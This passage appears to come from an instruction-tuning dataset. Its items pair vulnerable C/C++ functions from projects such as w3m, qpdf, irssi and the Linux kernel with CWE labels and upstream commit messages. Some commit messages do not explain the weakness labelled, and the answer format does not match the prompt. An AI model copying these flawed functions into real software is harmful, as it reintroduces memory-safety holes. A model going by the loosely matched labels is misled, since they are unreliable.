form->select_option);\n\t}\n\telse\n#endif\t\t\t\t/* MENU_SELECT */\n\t{\n\t if (!form->value)\n\t\tbreak;\n\t p = form->value->ptr;\n\t}\n\tl = buf->currentLine;\n\tif (!l)\n\t break;\n\tif (form->type == FORM_TEXTAREA) {\n\t int n = a->y - buf->currentLine->linenumber;\n\t if (n > 0)\n\t\tfor (; l && n; l = l->prev, n--) ;\n\t else if (n < 0)\n\t\tfor (; l && n; l = l->prev, n++) ;\n\t if (!l)\n\t\tbreak;\n\t}\n\trows = form->rows ? form->rows : 1;\n\tcol = COLPOS(l, a->start.pos);\n\tfor (c_rows = 0; c_rows < rows; c_rows++, l = l->next) {\n\t if (rows > 1) {\n\t\tpos = columnPos(l, col);\n\t\ta = retrieveAnchor(buf->formitem, l->linenumber, pos);\n\t\tif (a == NULL)\n\t\t break;\n\t\tspos = a->start.pos;\n\t\tepos = a->end.pos;\n\t }\n\t if (a->start.line != a->end.line || spos > epos || epos >= l->len ||\n\t\tspos < 0 || epos < 0 || COLPOS(l, epos) < col)\n\t\tbreak;\n\t pos = form_update_line(l, &p, spos, epos, COLPOS(l, epos) - col,\n\t\t\t\t rows > 1,\n\t\t\t\t form->type == FORM_INPUT_PASSWORD);\n\t if (pos != epos) {\n\t\tshiftAnchorPosition(buf->href, buf->hmarklist,\n\t\t\t\t a->start.line, spos, pos - epos);\n\t\tshiftAnchorPosition(buf->name, buf->hmarklist,\n\t\t\t\t a->start.line, spos, pos - epos);\n\t\tshiftAnchorPosition(buf->img, buf->hmarklist,\n\t\t\t\t a->start.line, spos, pos - epos);\n\t\tshiftAnchorPosition(buf->formitem, buf->hmarklist,\n\t\t\t\t a->start.line, spos, pos - epos);\n\t }\n\t}\n\tbreak;\n }\n copyBuffer(buf, &save);\n arrangeLine(buf);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-787'], 'message': 'Prevent invalid columnPos() call in formUpdateBuffer()\n\nBug-Debian: https://github.com/tats/w3m/issues/89'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static js_Ast *logor(js_State *J, int notin)\n{\n\tjs_Ast *a = logand(J, notin);\n\tif (jsP_accept(J, TK_OR))\n\t\ta = EXP2(LOGOR, a, logor(J, notin));\n\treturn a;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-674'], 'message': 'Guard binary expressions from too much recursion.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int i8042_start(struct serio *serio)\n{\n\tstruct i8042_port *port = serio->port_data;\n\n\tport->exists = true;\n\tmb();\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Input: i8042 - fix crash at boot time\n\nThe driver checks port->exists twice in i8042_interrupt(), first when\ntrying to assign temporary \"serio\" variable, and second time when deciding\nwhether it should call serio_interrupt(). The value of port->exists may\nchange between the 2 checks, and we may end up calling serio_interrupt()\nwith a NULL pointer:\n\nBUG: unable to handle kernel NULL pointer dereference at 0000000000000050\nIP: [] _spin_lock_irqsave+0x1f/0x40\nPGD 0\nOops: 0002 [#1] SMP\nlast sysfs file:\nCPU 0\nModules linked in:\n\nPid: 1, comm: swapper Not tainted 2.6.32-358.el6.x86_64 #1 QEMU Standard PC (i440FX + PIIX, 1996)\nRIP: 0010:[] [] _spin_lock_irqsave+0x1f/0x40\nRSP: 0018:ffff880028203cc0 EFLAGS: 00010082\nRAX: 0000000000010000 RBX: 0000000000000000 RCX: 0000000000000000\nRDX: 0000000000000282 RSI: 0000000000000098 RDI: 0000000000000050\nRBP: ffff880028203cc0 R08: ffff88013e79c000 R09: ffff880028203ee0\nR10: 0000000000000298 R11: 0000000000000282 R12: 0000000000000050\nR13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000098\nFS: 0000000000000000(0000) GS:ffff880028200000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b\nCR2: 0000000000000050 CR3: 0000000001a85000 CR4: 00000000001407f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400\nProcess swapper (pid: 1, threadinfo ffff88013e79c000, task ffff88013e79b500)\nStack:\nffff880028203d00 ffffffff813de186 ffffffffffffff02 0000000000000000\n 0000000000000000 0000000000000000 0000000000000000 0000000000000098\n ffff880028203d70 ffffffff813e0162 ffff880028203d20 ffffffff8103b8ac\nCall Trace:\n\n [] serio_interrupt+0x36/0xa0\n[] i8042_interrupt+0x132/0x3a0\n[] ? kvm_clock_read+0x1c/0x20\n[] ? kvm_clock_get_cycles+0x9/0x10\n[] handle_IRQ_event+0x60/0x170\n[] ? kvm_guest_apic_eoi_write+0x44/0x50\n[] handle_edge_irq+0xde/0x180\n[] handle_irq+0x49/0xa0\n[] do_IRQ+0x6c/0xf0\n[] ret_from_intr+0x0/0x11\n[] ? __do_softirq+0x73/0x1e0\n[] ? hrtimer_interrupt+0x14b/0x260\n[] ? call_softirq+0x1c/0x30\n[] ? do_softirq+0x65/0xa0\n[] ? irq_exit+0x85/0x90\n[] ? smp_apic_timer_interrupt+0x70/0x9b\n[] ? apic_timer_interrupt+0x13/0x20\n\nTo avoid the issue let's change the second check to test whether serio is\nNULL or not.\n\nAlso, let's take i8042_lock in i8042_start() and i8042_stop() instead of\ntrying to be overly smart and using memory barriers.\n\nSigned-off-by: Chen Hong \n[dtor: take lock in i8042_start()/i8042_stop()]\nCc: stable@vger.kernel.org\nSigned-off-by: Dmitry Torokhov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \nstatic struct sk_buff *skb_reorder_vlan_header(struct sk_buff *skb)\n{\n\tif (skb_cow(skb, skb_headroom(skb)) < 0) {\n\t\tkfree_skb(skb);\n\t\treturn NULL;\n\t}\n\n\tmemmove(skb->data - ETH_HLEN, skb->data - skb->mac_len - VLAN_HLEN,\n\t\t2 * ETH_ALEN);\n\tskb->mac_header += VLAN_HLEN;\n\treturn skb; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'net: create skb_gso_validate_mac_len()\n\nIf you take a GSO skb, and split it into packets, will the MAC\nlength (L2 + L3 + L4 headers + payload) of those packets be small\nenough to fit within a given length?\n\nMove skb_gso_mac_seglen() to skbuff.h with other related functions\nlike skb_gso_network_seglen() so we can use it, and then create\nskb_gso_validate_mac_len to do the full calculation.\n\nSigned-off-by: Daniel Axtens \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_gif(Gif_Reader *grr, int read_flags,\n\t const char* landmark, Gif_ReadErrorHandler handler)\n{\n Gif_Stream *gfs;\n Gif_Image *gfi;\n Gif_Context gfc;\n int unknown_block_type = 0;\n\n if (gifgetc(grr) != 'G' ||\n gifgetc(grr) != 'I' ||\n gifgetc(grr) != 'F')\n return 0;\n (void)gifgetc(grr);\n (void)gifgetc(grr);\n (void)gifgetc(grr);\n\n gfs = Gif_NewStream();\n gfi = Gif_NewImage();\n\n gfc.stream = gfs;\n gfc.prefix = Gif_NewArray(Gif_Code, GIF_MAX_CODE);\n gfc.suffix = Gif_NewArray(uint8_t, GIF_MAX_CODE);\n gfc.length = Gif_NewArray(uint16_t, GIF_MAX_CODE);\n gfc.handler = handler;\n gfc.gfi = gfi;\n gfc.errors[0] = gfc.errors[1] = 0;\n\n if (!gfs || !gfi || !gfc.prefix || !gfc.suffix || !gfc.length)\n goto done;\n gfs->landmark = landmark;\n\n GIF_DEBUG((\"\\nGIF \"));\n if (!read_logical_screen_descriptor(gfs, grr))\n goto done;\n GIF_DEBUG((\"logscrdesc \"));\n\n while (!gifeof(grr)) {\n\n uint8_t block = gifgetbyte(grr);\n\n switch (block) {\n\n case ',': /* image block */\n GIF_DEBUG((\"imageread %d \", gfs->nimages));\n\n gfi->identifier = last_name;\n last_name = 0;\n if (!Gif_AddImage(gfs, gfi))\n goto done;\n else if (!read_image(grr, &gfc, gfi, read_flags)) {\n Gif_RemoveImage(gfs, gfs->nimages - 1);\n gfi = 0;\n goto done;\n }\n\n gfc.gfi = gfi = Gif_NewImage();\n if (!gfi)\n goto done;\n break;\n\n case ';': /* terminator */\n GIF_DEBUG((\"term\\n\"));\n goto done;\n\n case '!': /* extension */\n block = gifgetbyte(grr);\n GIF_DEBUG((\"ext(0x%02X) \", block));\n switch (block) {\n\n case 0xF9:\n\tread_graphic_control_extension(&gfc, gfi, grr);\n\tbreak;\n\n case 0xCE:\n\tlast_name = suck_data(last_name, 0, grr);\n\tbreak;\n\n case 0xFE:\n\tif (!read_comment_extension(gfi, grr)) goto done;\n\tbreak;\n\n case 0xFF:\n\tread_application_extension(&gfc, grr);\n\tbreak;\n\n default:\n read_unknown_extension(&gfc, grr, block, 0, 0);\n\tbreak;\n\n }\n break;\n\n default:\n if (!unknown_block_type) {\n\t char buf[256];\n\t sprintf(buf, \"unknown block type %d at file offset %u\", block, grr->pos - 1);\n\t gif_read_error(&gfc, 1, buf);\n\t unknown_block_type = 1;\n }\n break;\n\n }\n\n }\n\n done:\n\n /* Move comments and extensions after last image into stream. */\n if (gfs && gfi) {\n Gif_Extension* gfex;\n gfs->end_comment = gfi->comment;\n gfi->comment = 0;\n gfs->end_extension_list = gfi->extension_list;\n gfi->extension_list = 0;\n for (gfex = gfs->end_extension_list; gfex; gfex = gfex->next)\n gfex->image = NULL;\n }\n\n Gif_DeleteImage(gfi);\n Gif_DeleteArray(last_name);\n Gif_DeleteArray(gfc.prefix);\n Gif_DeleteArray(gfc.suffix);\n Gif_DeleteArray(gfc.length);\n gfc.gfi = 0;\n\n if (gfs)\n gfs->errors = gfc.errors[1];\n if (gfs && gfc.errors[1] == 0\n && !(read_flags & GIF_READ_TRAILING_GARBAGE_OK)\n && !grr->eofer(grr))\n gif_read_error(&gfc, 0, \"trailing garbage after GIF ignored\");\n /* finally, export last message */\n gif_read_error(&gfc, -1, 0);\n\n return gfs;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'gif_read: Set last_name = NULL unconditionally.\n\nWith a non-malicious GIF, last_name is set to NULL when a name\nextension is followed by an image. Reported in #117, via\nDebian, via a KAIST fuzzing program.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int amd_gpio_remove(struct platform_device *pdev)\n{\n\tstruct amd_gpio *gpio_dev;\n\n\tgpio_dev = platform_get_drvdata(pdev);\n\n\tgpiochip_remove(&gpio_dev->gc);\n\tpinctrl_unregister(gpio_dev->pctrl);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'pinctrl: amd: Use devm_pinctrl_register() for pinctrl registration\n\nUse devm_pinctrl_register() for pin control registration and clean\nerror path.\n\nSigned-off-by: Laxman Dewangan \nSigned-off-by: Linus Walleij '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: compute_U_value_R3(std::string const& user_password,\n\t\t QPDF::EncryptionData const& data)\n{\n // Algorithm 3.5 from the PDF 1.7 Reference Manual\n\n std::string k1 = QPDF::compute_encryption_key(user_password, data);\n MD5 md5;\n md5.encodeDataIncrementally(\n\tpad_or_truncate_password_V4(\"\").c_str(), key_bytes);\n md5.encodeDataIncrementally(data.getId1().c_str(),\n data.getId1().length());\n MD5::Digest digest;\n md5.digest(digest);\n iterate_rc4(digest, sizeof(MD5::Digest),\n\t\tQUtil::unsigned_char_pointer(k1),\n data.getLengthBytes(), 20, false);\n char result[key_bytes];\n memcpy(result, digest, sizeof(MD5::Digest));\n // pad with arbitrary data -- make it consistent for the sake of\n // testing\n for (unsigned int i = sizeof(MD5::Digest); i < key_bytes; ++i)\n {\n\tresult[i] = static_cast((i * i) % 0xff);\n }\n return std::string(result, key_bytes);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Pad keys to avoid memory errors (fixes #147)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: QPDFWriter::parseVersion(std::string const& version,\n\t\t\t int& major, int& minor) const\n{\n major = atoi(version.c_str());\n minor = 0;\n size_t p = version.find('.');\n if ((p != std::string::npos) && (version.length() > p))\n {\n\tminor = atoi(version.substr(p + 1).c_str());\n }\n std::string tmp = QUtil::int_to_string(major) + \".\" +\n\tQUtil::int_to_string(minor);\n if (tmp != version)\n {\n\tthrow std::logic_error(\n\t \"INTERNAL ERROR: QPDFWriter::parseVersion\"\n\t \" called with invalid version number \" + version);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Replace all atoi calls with QUtil::string_to_int\n\nThe latter catches underflow/overflow.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: QPDF::read_xref(qpdf_offset_t xref_offset)\n{\n std::map free_table;\n while (xref_offset)\n {\n char buf[7];\n memset(buf, 0, sizeof(buf));\n\tthis->m->file->seek(xref_offset, SEEK_SET);\n\tthis->m->file->read(buf, sizeof(buf) - 1);\n // The PDF spec says xref must be followed by a line\n // terminator, but files exist in the wild where it is\n // terminated by arbitrary whitespace.\n if ((strncmp(buf, \"xref\", 4) == 0) &&\n QUtil::is_space(buf[4]))\n\t{\n QTC::TC(\"qpdf\", \"QPDF xref space\",\n ((buf[4] == '\\n') ? 0 :\n (buf[4] == '\\r') ? 1 :\n (buf[4] == ' ') ? 2 : 9999));\n int skip = 4;\n // buf is null-terminated, and QUtil::is_space('\\0') is\n // false, so this won't overrun.\n while (QUtil::is_space(buf[skip]))\n {\n ++skip;\n }\n xref_offset = read_xrefTable(xref_offset + skip);\n\t}\n\telse\n\t{\n\t xref_offset = read_xrefStream(xref_offset);\n\t}\n }\n\n if (! this->m->trailer.isInitialized())\n {\n throw QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(), \"\", 0,\n \"unable to find trailer while reading xref\");\n }\n int size = this->m->trailer.getKey(\"/Size\").getIntValue();\n int max_obj = 0;\n if (! this->m->xref_table.empty())\n {\n\tmax_obj = (*(this->m->xref_table.rbegin())).first.getObj();\n }\n if (! this->m->deleted_objects.empty())\n {\n\tmax_obj = std::max(max_obj, *(this->m->deleted_objects.rbegin()));\n }\n if (size != max_obj + 1)\n {\n\tQTC::TC(\"qpdf\", \"QPDF xref size mismatch\");\n\twarn(QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(), \"\", 0,\n\t\t std::string(\"reported number of objects (\") +\n\t\t QUtil::int_to_string(size) +\n\t\t \") inconsistent with actual number of objects (\" +\n\t\t QUtil::int_to_string(max_obj + 1) + \")\"));\n }\n\n // We no longer need the deleted_objects table, so go ahead and\n // clear it out to make sure we never depend on its being set.\n this->m->deleted_objects.clear();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-835'], 'message': 'Detect xref pointer infinite loop (fixes #149)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: selReadStream(FILE *fp)\n{\nchar *selname;\nchar linebuf[L_BUF_SIZE];\nl_int32 sy, sx, cy, cx, i, j, version, ignore;\nSEL *sel;\n\n PROCNAME(\"selReadStream\");\n\n if (!fp)\n return (SEL *)ERROR_PTR(\"stream not defined\", procName, NULL);\n\n if (fscanf(fp, \" Sel Version %d\\n\", &version) != 1)\n return (SEL *)ERROR_PTR(\"not a sel file\", procName, NULL);\n if (version != SEL_VERSION_NUMBER)\n return (SEL *)ERROR_PTR(\"invalid sel version\", procName, NULL);\n\n if (fgets(linebuf, L_BUF_SIZE, fp) == NULL)\n return (SEL *)ERROR_PTR(\"error reading into linebuf\", procName, NULL);\n selname = stringNew(linebuf);\n sscanf(linebuf, \" ------ %s ------\", selname);\n\n if (fscanf(fp, \" sy = %d, sx = %d, cy = %d, cx = %d\\n\",\n &sy, &sx, &cy, &cx) != 4) {\n LEPT_FREE(selname);\n return (SEL *)ERROR_PTR(\"dimensions not read\", procName, NULL);\n }\n\n if ((sel = selCreate(sy, sx, selname)) == NULL) {\n LEPT_FREE(selname);\n return (SEL *)ERROR_PTR(\"sel not made\", procName, NULL);\n }\n selSetOrigin(sel, cy, cx);\n\n for (i = 0; i < sy; i++) {\n ignore = fscanf(fp, \" \");\n for (j = 0; j < sx; j++)\n ignore = fscanf(fp, \"%1d\", &sel->data[i][j]);\n ignore = fscanf(fp, \"\\n\");\n }\n ignore = fscanf(fp, \"\\n\");\n\n LEPT_FREE(selname);\n return sel;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Security fixes: expect final changes for release 1.75.3.\n* Fixed a debian security issue with fscanf() reading a string with\n possible buffer overflow.\n* There were also a few similar situations with sscanf().'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void irc_core_deinit(void)\n{\n\tsignal_emit(\"chat protocol deinit\", 1, chat_protocol_find(\"IRC\"));\n\n\tcap_deinit();\n\tirc_expandos_deinit();\n\tnetsplit_deinit();\n\tlag_deinit();\n\tirc_commands_deinit();\n\tctcp_deinit();\n\n\tirc_queries_deinit();\n\tirc_channels_deinit();\n\tirc_irc_deinit();\n\tirc_servers_deinit();\n\tirc_chatnets_deinit();\n irc_session_deinit();\n\n\tchat_protocol_unregister(\"IRC\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'SASL support\n\nThe only supported methods are PLAIN and EXTERNAL, the latter is untested as of\nnow.\nThe code gets the values from the keys named sasl_{mechanism,username,password}\nspecified for each chatnet.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void sig_message_public(SERVER_REC *server, const char *msg,\n\t\t\t const char *nick, const char *address,\n\t\t\t const char *target)\n{\n\tCHANNEL_REC *channel;\n int own;\n\n\tchannel = channel_find(server, target);\n\tif (channel != NULL) {\n own = nick_match_msg(channel, msg, server->nick);\n\t\tCHANNEL_LAST_MSG_ADD(channel, nick, own);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Merge branch 'security' into 'master'\n\nSecurity\n\nSee merge request irssi/irssi!34\n\n(cherry picked from commit b0d9cb33cd9ef9da7c331409e8b7c57a6f3aef3f)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char *theme_format_expand_abstract(THEME_REC *theme, const char **formatp,\n theme_rm_col *last_fg, theme_rm_col *last_bg, int flags,\n GTree *block_list)\n{\n\tGString *str;\n\tconst char *p, *format;\n\tchar *abstract, *data, *ret;\n\ttheme_rm_col default_fg, default_bg;\n\tint len;\n\n\tformat = *formatp;\n\tdefault_fg = *last_fg;\n\tdefault_bg = *last_bg;\n\n\t/* get abstract name first */\n\tp = format;\n\twhile (*p != '\\0' && *p != ' ' &&\n\t *p != '{' && *p != '}') p++;\n\tif (*p == '\\0' || p == format)\n\t\treturn NULL; /* error */\n\n\tlen = (int) (p-format);\n\tabstract = g_strndup(format, len);\n\n\t/* skip the following space, if there's any more spaces they're\n\t treated as arguments */\n\tif (*p == ' ') {\n\t\tlen++;\n\t\tif ((flags & EXPAND_FLAG_IGNORE_EMPTY) && data_is_empty(&p)) {\n\t\t\t*formatp = p;\n\t\t\tg_free(abstract);\n\t\t\treturn NULL;\n\t\t}\n\t}\n\t*formatp = format+len;\n\n\tif (block_list == NULL) {\n\t\tblock_list = g_tree_new_full((GCompareDataFunc) g_strcmp0, NULL, g_free, NULL);\n\t} else {\n\t\tg_tree_ref(block_list);\n\t}\n\n\t/* get the abstract data */\n\tdata = g_hash_table_lookup(theme->abstracts, abstract);\n\tif (data == NULL || g_tree_lookup(block_list, abstract) != NULL) {\n\t\t/* unknown abstract, just display the data */\n\t\tdata = \"$0-\";\n\t\tg_free(abstract);\n\t} else {\n\t\tg_tree_insert(block_list, abstract, abstract);\n\t}\n\tabstract = g_strdup(data);\n\n\t/* we'll need to get the data part. it may contain\n\t more abstracts, they are _NOT_ expanded. */\n\tdata = theme_format_expand_get(theme, formatp);\n\tlen = strlen(data);\n\n\tif (len > 1 && i_isdigit(data[len-1]) && data[len-2] == '$') {\n\t\t/* ends with $ .. this breaks things if next\n\t\t character is digit or '-' */\n char digit, *tmp;\n\n\t\ttmp = data;\n\t\tdigit = tmp[len-1];\n\t\ttmp[len-1] = '\\0';\n\n\t\tdata = g_strdup_printf(\"%s{%c}\", tmp, digit);\n\t\tg_free(tmp);\n\t}\n\n\tret = parse_special_string(abstract, NULL, NULL, data, NULL,\n\t\t\t\t PARSE_FLAG_ONLY_ARGS);\n\tg_free(abstract);\n g_free(data);\n\tstr = g_string_new(NULL);\n\tp = ret;\n\twhile (*p != '\\0') {\n\t\tif (*p == '\\\\') {\n\t\t\tint chr;\n\t\t\tp++;\n\t\t\tchr = expand_escape(&p);\n\t\t\tg_string_append_c(str, chr != -1 ? chr : *p);\n\t\t} else\n\t\t\tg_string_append_c(str, *p);\n\t\tp++;\n\t}\n\tg_free(ret);\n\tabstract = str->str;\n\tg_string_free(str, FALSE);\n\n\t/* abstract may itself contain abstracts or replaces */\n\tp = abstract;\n\tret = theme_format_expand_data_rec(theme, &p, default_fg, default_bg, last_fg, last_bg,\n\t flags | EXPAND_FLAG_LASTCOLOR_ARG, block_list);\n\tg_free(abstract);\n\tg_tree_unref(block_list);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Do not read beyond end of escaped string\n\nCredit to OSS-Fuzz'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int get_v4l2_framebuffer32(struct v4l2_framebuffer *kp, struct v4l2_framebuffer32 __user *up)\n{\n\tu32 tmp;\n\n\tif (!access_ok(VERIFY_READ, up, sizeof(*up)) ||\n\t get_user(tmp, &up->base) ||\n\t get_user(kp->capability, &up->capability) ||\n\t get_user(kp->flags, &up->flags) ||\n\t copy_from_user(&kp->fmt, &up->fmt, sizeof(up->fmt)))\n\t\treturn -EFAULT;\n\tkp->base = (__force void *)compat_ptr(tmp);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'media: v4l2-compat-ioctl32.c: refactor compat ioctl32 logic\n\nThe 32-bit compat v4l2 ioctl handling is implemented based on its 64-bit\nequivalent. It converts 32-bit data structures into its 64-bit\nequivalents and needs to provide the data to the 64-bit ioctl in user\nspace memory which is commonly allocated using\ncompat_alloc_user_space().\n\nHowever, due to how that function is implemented, it can only be called\na single time for every syscall invocation.\n\nSupposedly to avoid this limitation, the existing code uses a mix of\nmemory from the kernel stack and memory allocated through\ncompat_alloc_user_space().\n\nUnder normal circumstances, this would not work, because the 64-bit\nioctl expects all pointers to point to user space memory. As a\nworkaround, set_fs(KERNEL_DS) is called to temporarily disable this\nextra safety check and allow kernel pointers. However, this might\nintroduce a security vulnerability: The result of the 32-bit to 64-bit\nconversion is writeable by user space because the output buffer has been\nallocated via compat_alloc_user_space(). A malicious user space process\ncould then manipulate pointers inside this output buffer, and due to the\nprevious set_fs(KERNEL_DS) call, functions like get_user() or put_user()\nno longer prevent kernel memory access.\n\nThe new approach is to pre-calculate the total amount of user space\nmemory that is needed, allocate it using compat_alloc_user_space() and\nthen divide up the allocated memory to accommodate all data structures\nthat need to be converted.\n\nAn alternative approach would have been to retain the union type karg\nthat they allocated on the kernel stack in do_video_ioctl(), copy all\ndata from user space into karg and then back to user space. However, we\ndecided against this approach because it does not align with other\ncompat syscall implementations. Instead, we tried to replicate the\nget_user/put_user pairs as found in other places in the kernel:\n\n if (get_user(clipcount, &up->clipcount) ||\n put_user(clipcount, &kp->clipcount)) return -EFAULT;\n\nNotes from hans.verkuil@cisco.com:\n\nThis patch was taken from:\n https://github.com/LineageOS/android_kernel_samsung_apq8084/commit/97b733953c06e4f0398ade18850f0817778255f7\n\nClearly nobody could be bothered to upstream this patch or at minimum\ntell us :-( We only heard about this a week ago.\n\nThis patch was rebased and cleaned up. Compared to the original I\nalso swapped the order of the convert_in_user arguments so that they\nmatched copy_in_user. It was hard to review otherwise. I also replaced\nthe ALLOC_USER_SPACE/ALLOC_AND_GET by a normal function.\n\nFixes: 6b5a9492ca (\"v4l: introduce string control support.\")\n\nSigned-off-by: Daniel Mentz \nCo-developed-by: Hans Verkuil \nAcked-by: Sakari Ailus \nSigned-off-by: Hans Verkuil \nCc: # for v4.15 and up\nSigned-off-by: Mauro Carvalho Chehab '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int get_v4l2_edid32(struct v4l2_edid *kp, struct v4l2_edid32 __user *up)\n{\n\tu32 tmp;\n\n\tif (!access_ok(VERIFY_READ, up, sizeof(*up)) ||\n\t get_user(kp->pad, &up->pad) ||\n\t get_user(kp->start_block, &up->start_block) ||\n\t get_user(kp->blocks, &up->blocks) ||\n\t get_user(tmp, &up->edid) ||\n\t copy_from_user(kp->reserved, up->reserved, sizeof(kp->reserved)))\n\t\treturn -EFAULT;\n\tkp->edid = (__force u8 *)compat_ptr(tmp);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'media: v4l2-compat-ioctl32.c: refactor compat ioctl32 logic\n\nThe 32-bit compat v4l2 ioctl handling is implemented based on its 64-bit\nequivalent. It converts 32-bit data structures into its 64-bit\nequivalents and needs to provide the data to the 64-bit ioctl in user\nspace memory which is commonly allocated using\ncompat_alloc_user_space().\n\nHowever, due to how that function is implemented, it can only be called\na single time for every syscall invocation.\n\nSupposedly to avoid this limitation, the existing code uses a mix of\nmemory from the kernel stack and memory allocated through\ncompat_alloc_user_space().\n\nUnder normal circumstances, this would not work, because the 64-bit\nioctl expects all pointers to point to user space memory. As a\nworkaround, set_fs(KERNEL_DS) is called to temporarily disable this\nextra safety check and allow kernel pointers. However, this might\nintroduce a security vulnerability: The result of the 32-bit to 64-bit\nconversion is writeable by user space because the output buffer has been\nallocated via compat_alloc_user_space(). A malicious user space process\ncould then manipulate pointers inside this output buffer, and due to the\nprevious set_fs(KERNEL_DS) call, functions like get_user() or put_user()\nno longer prevent kernel memory access.\n\nThe new approach is to pre-calculate the total amount of user space\nmemory that is needed, allocate it using compat_alloc_user_space() and\nthen divide up the allocated memory to accommodate all data structures\nthat need to be converted.\n\nAn alternative approach would have been to retain the union type karg\nthat they allocated on the kernel stack in do_video_ioctl(), copy all\ndata from user space into karg and then back to user space. However, we\ndecided against this approach because it does not align with other\ncompat syscall implementations. Instead, we tried to replicate the\nget_user/put_user pairs as found in other places in the kernel:\n\n if (get_user(clipcount, &up->clipcount) ||\n put_user(clipcount, &kp->clipcount)) return -EFAULT;\n\nNotes from hans.verkuil@cisco.com:\n\nThis patch was taken from:\n https://github.com/LineageOS/android_kernel_samsung_apq8084/commit/97b733953c06e4f0398ade18850f0817778255f7\n\nClearly nobody could be bothered to upstream this patch or at minimum\ntell us :-( We only heard about this a week ago.\n\nThis patch was rebased and cleaned up. Compared to the original I\nalso swapped the order of the convert_in_user arguments so that they\nmatched copy_in_user. It was hard to review otherwise. I also replaced\nthe ALLOC_USER_SPACE/ALLOC_AND_GET by a normal function.\n\nFixes: 6b5a9492ca (\"v4l: introduce string control 